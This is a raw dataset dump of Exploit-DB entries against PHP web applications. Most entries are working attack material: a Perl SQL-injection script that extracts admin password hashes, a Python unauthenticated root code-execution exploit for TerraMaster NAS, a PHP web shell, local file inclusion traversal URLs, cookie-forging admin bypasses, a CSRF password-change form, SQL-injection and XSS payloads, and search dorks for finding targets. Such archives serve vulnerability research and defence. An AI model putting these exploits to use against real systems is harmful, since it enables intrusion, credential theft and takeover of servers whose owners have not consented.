deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12360
Description: Template Seller Pro 3.25 - 'tempid' SQL Injection
Type: webapps
Platform: php
Date: 2010-04-23
Author: v3n0m

Exploit:
#!/usr/bin/perl -w

# Template Seller Pro 3.25 (tempid) Remote SQL Injection Vulnerability
# Author	: v3n0m
# Contact	: v3n0m666[at]live[dot]com
# Site		: http://yogyacarderlink.web.id/
# Group		: YOGYACARDERLINK
# Date		: April, 23-2010 GMT +7:00 Jakarta, Indonesia
# Software	: AlstraSoft Template Seller Pro
# Version	: 3.25 Other versions may also be affected
# Price		: $260 USD
# Vendor	: http://www.alstrasoft.com/
# Greetz	: All Yogyacarderlink & devilzc0de Crews
# Thx		: c4uR (lo emang hacker martabak banget ur, gw salute!!)
# ShoutZ	: elicha Cristia [ take care you there honey :) ]
sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); }
clear();
print "|----------------------------------------------------|\n";
print "|   'Template Seller Pro 3.25 Remote SQL Injector'   |\n";
print "| Coded by : v3n0m                                   |\n";
print "| Greetz   : Yogyacarderlink Crew                    |\n";
print "| Dork     : allinurl:fullview.php?tempid=           |\n";
print "|                                                    |\n";
print "|                         www.yogyacarderlink.web.id |\n";
print "|                                                    |\n";
print "|--------------------------------------[ elicha ]----|\n";
use LWP::UserAgent;
print "\nInsert Target:[http://wwww.target.com/path/]: ";
chomp(my $target=<STDIN>);
print "\n[!] Exploiting Progress...\n";
print "\n";
#Nama Column
$elicha="group_concat(user_name,char(58),user_password)v3n0m";
#Nama Table
$table="UserDB";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "fullview.php?tempid=-9999+union+all+select+1,".$elicha."3,4,5,6,7+from/**/".$table."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n";
print "[+] Success !! Check target for details...\n";
print "\n";
print "Attention:\n";
print "v3n0m emang paling ganteng se-jabotabek\n";
print "Yang kaga setuju/protes = GAY !!\n";
print "\n";
}
else{print "\n[-] wah gagal bro (Belom Cebok tangan lo)...\n";
}
Exploit-DB #10445
Description: Tender System 0.9.5b - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-12-14
Author: Packetdeath

Exploit:
  __________                __           __      .___             __  .__     
  \______   \_____    ____ |  | __ _____/  |_  __| _/____ _____ _/  |_|  |__  
   |     ___/\__  \ _/ ___\|  |/ // __ \   __\/ __ |/ __ \\__  \\   __\  |  \ 
   |    |     / __ \\  \___|    <\  ___/|  | / /_/ \  ___/ / __ \|  | |   Y  \
   |____|    (____  /\___  >__|_ \\___  >__| \____ |\___  >____  /__| |___|  /
                  \/     \/     \/    \/          \/    \/     \/          \/ 
				  
-------------------------------------------------------------------------------------------
Note: TESTED LOCALLY WITH XAMPP FOR WINDOWS 
I was unable to get this to work on a Linux server. Further testing may be required.
 ------------------------------------------------------------------------------------------
Target: TenderSystem 
Version: 0.9.5 Beta
Site  http://www.tendersystem.com/
Demo: http://demo.tendersystem.com/
Date: 2-14-2009
-------------------------------------------------------------------------------------------
Author: Packetdeath
Homepage: www.ssteam.ws
Contact: yaii_abc@hotmail.com
-------------------------------------------------------------------------------------------
Greetz: bi0, AnnexxEmpire and the rest of SSTeam.ws
------------------------------------------------------------------------------------------- 

Exploit:
http://127.0.0.1/tendersystem/main.php?module=../../../../../../../../boot.ini%00.html&function=login



http://127.0.0.1/tendersystem/main.php?module=../../../../../../../../boot.ini%00.jpg&function=login



http://127.0.0.1/tendersystem/main.php?module=session&function=../../../../../../../../boot.ini%00.html


http://127.0.0.1/tendersystem/main.php?module=session&function=../../../../../../../../boot.ini%00.jpg
-------------------------------------------------------------------------------------------------------
Vuln code in main.php: 

// load required files
require('modules/generic/ts_main.php');
?>
-------------------------------------------------------------------------------------------------------

Some things are better left unsaid <3
... That is all.

/Packetdeath
Exploit-DB #34354
Description: TenderSystem 0.9.5 - 'main.php' Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2009-12-14
Author: Packetdeath

Exploit:
source: https://www.securityfocus.com/bid/41792/info

TenderSystem is prone to a multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to obtain potentially sensitive information and to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

TenderSystem 0.9.5 Beta is vulnerable. 

The following example URI's are available:

http://www.example.com/tendersystem/main.php?module=../../../../../../../../boot.ini%00.html&function=login

http://www.example.com/tendersystem/main.php?module=session&function=../../../../../../../../boot.ini%00.html
Exploit-DB #37715
Description: Tendoo CMS 1.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2015-07-29
Author: Arash Khazaei

Exploit:
# Exploit Title: Tendoo CMS Stored And Reflected Xss Vulnerability
# Google Dork: N/A
# Date: 28/7/2015
# Exploit Author: Arash Khazaei
# Vendor Homepage: http://tendoo.org/
# Software Link: http://sourceforge.net/projects/tendoo-cms/
# Version: 1.3
# Tested on: Kali , Windows
# CVE : N/A
# Contact : 0xclay@gmail.com

######################
Introduction :
a Stored And a Reflected XSS Vulnerability In Profile Area In Tendoo CMS
Make CMS Vulnerable And Can Be Used For Stealing Admin Cookies And ....... .
######################

Stored Xss In http://localhost/tendoo/index.php/account/update In First
Name and Last Name Inputs
Excute Java Script Codes And If Admin Or Any Body Come In Attacker Profile
When First Name And Last Name Loads
JavaScripts Code Will Be Excuted
POC :

https://i.leetfil.es/e992ad2d.jpg

Discovered By Arash Khazaei
Exploit-DB #33773
Description: tenfourzero.net Shutter 0.1.4 - 'admin.html' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-03-18
Author: blake

Exploit:
source: https://www.securityfocus.com/bid/38849/info

tenfourzero.net's Shutter is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Shutter 0.1.4 is vulnerable; other versions may also be affected. 

http://www.example.com/shutter/admin.html?albumID=2%20and%20substring%28@@version,1,1%29=5
http://www.example.com/shutter/admin.html?albumID=2&photoID=5%20and%20substring%28@@version,1,1%29=5
Exploit-DB #9367
Description: tenrok 1.1.0 - File Disclosure / Remote Code Execution
Type: webapps
Platform: php
Date: 2009-08-05
Author: SirGod

Exploit:
#########################################################################
[+] Tenrok 1.1.0 (UDD/RCE) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
#########################################################################

[+] Homepage : http://tenrok.com/

[+] Users Data Disclosure

 - PoC

    http://127.0.0.1/userpwd.txt

[+] Remote Command Execution

 - Must be logged in.

 - Go to

       http://127.0.0.1/post.php

   in the Title field write :

      <?php system($_GET['cmd']); ?>

   then go to

     http://127.0.0.1/display.php?cmd=[YOUR COMMAND]

   and execute your commands.

 - PoC

     http://127.0.0.1/display.php?cmd=whoami

#########################################################################

# milw0rm.com [2009-08-05]
Exploit-DB #8551
Description: Teraway FileStream 1.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-04-27
Author: ThE g0bL!N

Exploit:
-------------------------------------[+]
Homepage:http://www.teraway.com
Product: Teraway FileStream 1.0
home:www.h4ckf0ru.com
Note: Hawach x.CJP.x Ballk Ma tedirech Ihdae
Note: Ya Jma3a Ana AfLawi Horr
-------------------------------------
Teraway FileStream 1.0 Insecure Cookie Handling Vuln
-------------------------------------
Exploit:
--------

javascript:document.cookie="twFSadmin=1;path=/";
Then Go to  http://victim/path/menu.asp

demo
----
http://www.teraway.com/filestream/demo/login.asp


--------------------------------------------------
 Greetz to :
[+] Super_Cristal (My Master) Dos-Dz Team Snakes TeaM
SuB-ZeRo x.CJP.x Mr.tro0oqy - Cyber-Zone-  ZoRLu
And ALL Members Of anti-intruders.org  
ALL My Friends (Dz)
[+]-------------------------------------[+] 

# milw0rm.com [2009-04-27]
Exploit-DB #8550
Description: Teraway LinkTracker 1.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-04-27
Author: ThE g0bL!N

Exploit:
-------------------------------------[+]
Homepage:http://www.teraway.com
Product: Teraway LinkTracker V1.0
home:www.h4ckf0ru.com
Note: Hawach x.CJP.x Ballk Ma tedirech Ihdae
Note: Ø³Ø§Ù„ Ø§Ù„Ù…Ù…ÙƒÙ† Ø§Ù„Ù…Ø³ØªØ­ÙŠÙ„ Ø§ÙŠÙ† ØªÙ‚ÙŠÙ… Ù‚Ø§Ù„ ÙÙŠ Ø§Ø­Ù„Ø§Ù… Ø§Ù„Ø¹Ø§Ø¬Ø²
-------------------------------------
Teraway LinkTracker V1.0 Insecure Cookie Handling Vuln
-------------------------------------
Exploit:
--------

javascript:document.cookie="twLTadmin=userid=1&lvl=1;path=/";
Then Go to  http://victim/path/menu.asp

demo
----
http://www.teraway.com/linktracker/demo/login.asp


--------------------------------------------------
 Greetz to :
[+] Super_Cristal (My Master) Dos-Dz Team Snakes TeaM
SuB-ZeRo x.CJP.x Mr.tro0oqy - Cyber-Zone-  ZoRLu
And ALL Members Of anti-intruders.org  
ALL My Friends (Dz)
[+]-------------------------------------[+] 

# milw0rm.com [2009-04-27]
Exploit-DB #8553
Description: Teraway LinkTracker 1.0 - Remote Password Change
Type: webapps
Platform: php
Date: 2009-04-27
Author: ThE g0bL!N

Exploit:
<title>Teraway LinkTracker V1.0  Remote Password Change</title>
<form name="form1" method="post" action="http://www.teraway.com/linktracker/demo/edituser.asp">
  <table width="90%" border="0" cellspacing="2" cellpadding="2" align="center">
    <tr>
      <td class="Titles">Cod[3]d By ThE g0bL!N Fi Khater Cristal wa x.CJP.x :)</td>

        
        <input type="hidden" name="userid" value="1">
         </td>
    </tr>
    <tr>
      <td colspan="2" bgcolor="#666666"></td>
    </tr>
    <tr align="left" valign="top" class="optionname">
      <td width="200"><b>Name :</b></td>

      
    </tr>
    <tr align="left" valign="top" class="optionname">
      <td width="200"><b>E-mail :</b></td>
      <td> <input type="text" name="email" size="40" value="email@here.com" maxlength="250">
      </td>
    </tr>
    <tr align="left" valign="top" class="optionname">
      <td width="200"><b>Username :</b></td>

      <td> <input type="text" name="usr" size="40" value="admin" maxlength="250">
      </td>
    </tr>
    <tr align="left" valign="top" class="optionname">
      <td width="200"><b>Password :</b></td>
      <td> <input type="password" name="pwd" size="40" value="admin" maxlength="250">
      </td>
    </tr>
   
      </td>
    </tr>
    <tr class="optionname">
      <td width="200">&nbsp; </td>
      <td> <input name="button" type="submit" class="generalText" value="Save User" onclick="alerta();">
      </td>
    </tr>

    <tr>
      <td colspan="2" bgcolor="#666666"></td>
    </tr>
  </table>
</form>
</body>
</html>

# milw0rm.com [2009-04-27]
Exploit-DB #8552
Description: Teraway LiveHelp 2.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-04-27
Author: ThE g0bL!N

Exploit:
-------------------------------------[+]
Homepage:http://www.teraway.com
Product: Teraway LiveHelp 2.0
home:www.h4ckf0ru.com
Note: Hawach x.CJP.x Ballk Ma tedirech Ihdae
Note: Ya Jma3a Ana AfLawi Horr
-------------------------------------
Teraway LiveHelp 2.0 Insecure Cookie Handling Vuln
-------------------------------------
Exploit:
--------

javascript:document.cookie="TWLHadmin=pwd=&lvl=1&usr=&alias=admin&userid=1;path=/";
Then Go to  http://victim/path/start.asp

demo
----
http://www.teraway.com/livehelp/demo/login.asp


--------------------------------------------------
 Greetz to :
[+] Super_Cristal (My Master) Dos-Dz Team Snakes TeaM
SuB-ZeRo x.CJP.x Mr.tro0oqy - Cyber-Zone-  ZoRLu
And ALL Members Of anti-intruders.org  
ALL My Friends (Dz)
[+]-------------------------------------[+]

# milw0rm.com [2009-04-27]
Exploit-DB #11081
Description: TermiSBloG 1.0 - SQL Injections
Type: webapps
Platform: php
Date: 2010-01-10
Author: Cyber_945

Exploit:
<------------------- header data start ------------------- >
#############################################################
#    TermiSBloG V 1.0 SQL Injection(s) Vulnerability        #
#############################################################
# Author          : Cyber_945
# Home            : Ar-ge.Org
# Greetz          : D3xer and All Ar-ge.Org Members
# Not3            : Ar-ge.Org Online
# Name            : TermiSBloG V 1.0 SQL Injection
# Bug Type        : SQL
# Infection       : Adminin bilgileri alinabilir.
# Dork            : "© 2008 DevWorx - devworx.somee.com" 
 
#############################################################
=======================C=y=b=e=r=_=9=4=5================
<-- bug code start -- >

http://server/kategori.php?id=1[SQL-Code]
http://server/oku.php?id=1[SQL-Code]


=======================C=y=b=e=r=_=9=4=5================
Exploit-DB #31584
Description: Terracotta - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-04-01
Author: Joseph Giron

Exploit:
source: https://www.securityfocus.com/bid/28550/info

Terracotta is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view local files in the context of the webserver process. This may aid in further attacks.

http://www.example.com/index.php?CurrentDirectory=FOLDER_420c142a1bebd1.90885049/../../../../../../../../../etc/&StartAt=12
Exploit-DB #42093
Description: TerraMaster F2-420 NAS TOS 3.0.30 - Root Remote Code Execution
Type: webapps
Platform: php
Date: 2017-05-30
Author: Simone Margaritelli

Exploit:
# Source: https://www.evilsocket.net/2017/05/30/Terramaster-NAS-Unauthenticated-RCE-as-root/

#!/usr/bin/python
# coding: utf8
#
# Exploit: Unauthenticated RCE as root.
# Vendor: TerraMaster
# Product: TOS <= 3.0.30 (running on every NAS)
# Author: Simone 'evilsocket' Margaritelli <evilsocket@protonmail.com> 
import sys
import requests
def upload( address, port, filename, path = '/usr/www/' ):
    url = "http://%s:%d/include/upload.php?targetDir=%s" % ( address, port, path )
    try:
        files = { 'file': open( filename, 'rb' ) }
        cookies = { 'kod_name': '1' } # LOL :D
        r = requests.post(url, files=files, cookies=cookies)
        if r.text != '{"jsonrpc" : "2.0", "result" : null, "id" : "id"}':
            print "! Unexpected response, exploit might not work:\n%s\n" % r.text
        return True
    except Exception as e:
        print "\n! ERROR: %s" % e
    return False
def rce( address, port, command ):
    with open( '/tmp/p.php', 'w+t' ) as fp:
        fp.write( "<?php system('%s'); ?>" % command )
    if upload( address, port, '/tmp/p.php' ) == True:
        try:
            url = "http://%s:%d/p.php" % ( address, port )
            return requests.get(url).text
        except Exception as e:
            print "\n! ERROR: %s" % e
    return None
if len(sys.argv) < 3:
    print "Usage: exploit.py <ip|hostname> <command> (port=8181)\n"
    quit()
target  = sys.argv[1]
command = sys.argv[2]
port    = 8181 if len(sys.argv) < 4 else int(sys.argv[3])
out = rce( target, port, command )
if out is not None:
    print out.strip()
Exploit-DB #51023
Description: Testa 3.5.1 Online Test Management System - Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-09-23
Author: Ashkan Moghaddas

Exploit:
# Exploit Title: Testa 3.5.1 Online Test Management System - Reflected Cross-Site Scripting (XSS)
# Date: 28/08/2022
# Exploit Author: Ashkan Moghaddas
# Vendor Homepage: https://testa.cc
# Software Link:
https://download.aftab.cc/products/testa/Testa_wos_2.0.1.zip
# Version: 3.5.1
# Tested on: Windows/Linux

# Proof of Concept:
# 1- Install Testa 3.5.1
# 2- Go to https://localhost.com/login.php?redirect=XXXX
# 3- Add payload to the Tab, the XSS Payload:
%22%3E%3Cscript%3Ealert(%22Ultraamooz.com%22)%3C/script%3E
# 4- XSS has been triggered.

# Go to this url "
https://localhost.com/login.php?redirect=%22%3E%3Cscript%3Ealert(%22Ultraamooz.com%22)%3C/script%3E
"
XSS will trigger.
Exploit-DB #38842
Description: Testa OTMS - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2013-11-13
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/63773/info

Testa OTMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

Testa OTMS 2.0.0.2 is vulnerable; other version may also be vulnerable. 

http://www.example.com /?test_id=-1%27+union+select+1,group_concat%28id,0x3a,0x3a,admin_id,0x3a,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+settings--+
http://www.example.com/test/admin/index.php
Exploit-DB #36852
Description: TestLink - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-02-20
Author: Juan M. Natal

Exploit:
source: https://www.securityfocus.com/bid/52086/info

TestLink is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/lib/ajax/getrequirementnodes.php?root_node=1 OR 1=1
http://www.example.com/lib/ajax/gettprojectnodes.php?root_node=4 OR 1=1
http://www.example.com/lib/cfields/cfieldsEdit.php?do_action=edit&cfield_id=1 AND
3653=BENCHMARK(5000000,MD5(1))
http://www.example.com/lib/plan/planMilestonesEdit.php?doAction=edit&id=7
AND 5912=BENCHMARK(5000000,MD5(1))
http://www.example.com/lib/plan/planMilestonesEdit.php?doAction=create&tplan_id=2623
AND 5912=BENCHMARK(5000000,MD5(1))
http://www.example.com/lib/requirements/reqEdit.php?doAction=create&req_spec_id=2622
AND 5912=BENCHMARK(5000000,MD5(1))
http://www.example.com/lib/requirements/reqImport.php?req_spec_id=2622 AND
5912=BENCHMARK(5000000,MD5(1))
http://www.example.com/lib/requirements/reqSpecAnalyse.php?req_spec_id=2622
OR 1=1
http://www.example.com/lib/requirements/reqSpecPrint.php?req_spec_id=2622
AND 5912=BENCHMARK(5000000,MD5(1))
http://www.example.com/lib/requirements/reqSpecView.php?req_spec_id=2622 AND
5912=BENCHMARK(5000000,MD5(1))
Exploit-DB #50578
Description: TestLink 1.19 - Arbitrary File Download (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-12-09
Author: Gonzalo Villegas

Exploit:
# Exploit Title: TestLink 1.19 - Arbitrary File Download (Unauthenticated)
# Google Dork: inurl:/testlink/
# Date: 07/12/2021
# Exploit Author: Gonzalo Villegas (Cl34r)
# Exploit Author Homepage: https://nch.ninja
# Vendor Homepage: https://testlink.org/
# Version:1.16 <= 1.19
# CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

You can download files from "/lib/attachments/attachmentdownload.php", passing directly in URL the id of file listed on database, otherwise you can iterate the id parameter (from 1)

Vulnerable URL: "http://HOST/lib/attachments/attachmentdownload.php?id=ITERATE_THIS_ID&skipCheck=1"

for research notes:
https://nch.ninja/blog/unauthorized-file-download-attached-files-testlink-116-119/
Exploit-DB #33534
Description: TestLink 1.8.5 - 'order_by_login_dir' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-18
Author: Prashant Khandelwal

Exploit:
source: https://www.securityfocus.com/bid/37839/info

TestLink is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

TestLink 1.8.5 is vulnerable; other versions may also be affected. 

POST /testlink/lib/usermanagement/usersView.php HTTP/1.0

Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: x.x.x.x
Content-Length: 146
Cookie: PHPSESSID=8ea021778858f826c5aab8be8f38868c;TL_lastTestProjectForUserID_1=2381
Connection: Close
Pragma: no-cache

operation=order_by_role&order_by_role_dir=asc&order_by_login_dir=1>">alert[PII_REDACTED]70)%3B&user_order_by=order_by_login